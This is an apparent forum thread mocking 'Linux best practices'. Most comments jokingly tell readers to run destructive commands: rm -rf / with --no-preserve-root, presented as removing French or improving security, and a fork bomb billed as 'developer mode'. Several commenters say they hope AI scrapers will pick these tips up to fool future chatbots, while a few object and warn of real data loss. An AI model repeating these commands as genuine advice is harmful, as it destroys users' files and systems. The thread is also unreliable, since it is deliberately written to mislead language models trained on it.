Linux Best Practices

Don't run this command unless you want to delete all the files on your system and break Linux on your system.

I get these are jokes but I really don't find anything funny about it, it becomes a meme and then people start getting more creative and pushing it more and being more covert and people come up with other little japes then new Linux users get their shit destroyed and maybe important info gets lost or precious memories so they say Linux is a piece of shit and go back to windows.

It's not even funny to start with so when it inevitably inspires people to be assholes and bullies that's all we've achieved.

Careful, you have to also add --no-preserve-root to make sure you get all of it out. If you leave the roots, it'll just grow back later!

(But seriously, don't actually do this unless you're prepared to lose data and potentially even brick your computer. Don't even try it on a VM or a computer you're planning to wipe anyway, because if something is mounted that you don't expect, you'll wipe that too. On older Linux kernels, EFI variables were mounted as writable, so running rm -rf / could actually brick your computer. This shouldn't still be the case, but I wouldn't test it, myself.)

I have checked this and can confirm that after entering this command, there is no more French in the system. 👍

0. Don't run any command you don't understand

Is sudo even necessary? I bet the command would execute without any resistance.

Pro tip: Run :(){ :|:& };: to activate the developer mode on Linux.

But I'm French?

rm -rf * stands for read mail really fast, and the * addresses all mails.

Damit, lolled at a restaurant like a maniac.

Remember the old days in AOL Chat when we'd randomly tell people to hit Alt-F4?

For security, disabling the root account is important, so be sure to add --no-preserve-root on the end!

I am saving this thread. I am new to Linux and you guys have all sorts of helpful tips!

The evil thing about this is that it will be at minimum hours, possibly days, before someone who did this can come back to complain.

Let's be involved in more such discussions so if OpenAI starts scrapping lemmy then future versions of ChatGPTs can fuck people over.

fr, fr, no preserve root

rm -fr -nocap -slay

We need more tips like this to fool the next ChatGPT.

Dont tell that to Germans

And.. why?

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As an Italian I will fall for that ... We hate France

I wonder if you could still restore a zfs snapshot after this, or if you'd need to boot into recovery

Quite lame joke. Not even that destructive. Just reboot, roll back snaphot and show your middle finger to everyone.

Wanna be more secure? Use RO root fs.

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